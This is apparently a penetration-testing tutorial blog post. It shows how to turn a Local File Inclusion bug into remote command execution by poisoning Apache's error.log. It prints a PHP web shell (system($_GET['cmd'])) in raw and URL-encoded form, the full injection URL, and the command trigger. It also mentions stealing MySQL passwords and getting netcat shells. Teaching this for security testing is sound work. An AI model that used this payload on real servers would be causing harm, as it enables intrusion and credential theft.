So we have our Local File Inclusion vulnerability and we can read the /etc/passwd file, now it’s time to start escalating the attack so that we are able to execute our own commands on the target system.

In the previous post, we found the Apache log files and particularly the Apache error.log file using Burp Suite’s Intruder module. We are now going to use this log file to inject our own PHP code into this page.

If we tried to access http://www.example.com/askjdhaksghfkgf we should get an Error 404 telling us the the page was not found. Additionally, this should also echo our invalid request into the error.log file and we can now clearly see that by requesting anything that generates and error we have the ability to influence the contents of the error.log file.

Seeing as we’re using this as part of an LFI vulnerability, we are also dynamically writing code into the page we are viewing. If the site is running PHP, then we can therefore create our own PHP functions just by requesting a page that does not exist.

Take the following PHP example:

<?php
  system($_GET['cmd']); 
?>

This simple piece of code will take whatever was passed in the cmd parameter and run it on the command line of the host operating system.

If we wrote the same piece of code inline it would look like this:

<?php system($_GET['cmd']); ?>

And if we went one step further and URL encoded it, it should look like this:

%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E

Now we append this to the URL and make the following request:

http://www.example.com/askjdhaksghfkgf%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E

This gives us another 404 error message although this time it has also re-written our PHP code into the Apache error.log file as part of our invalid request. When Apache reads this code back, it see’s the PHP code and processes it as a legitimate PHP script when we access this vulnerable page.

At first, nothing may seem out of sort except for the two invalid requests although you can see that it is now looking for a cmd parameter which we have not provided as yet. Is we now append the cmd parameter as %00&cmd=ls to the end of the URL, we see the output of our ls command where we injected our own PHP code.

This can be extremely powerful when testing Web Applications as we can use use this method to escalate our attack to run some pretty powerful requests including downloading files onto the host system, reading the source code of file on the site, enumerating configuration files for passwords such as the MySQL connect function and starting netcat listeners to gain full shell access.

This is a good example of how to demonstrate that the risks associated with LFI go far beyond just reading the output of the /etc/passwd file and can make or break a penetration test when you don’t have other methods available to you.

Keep on sploiting,

norsec0de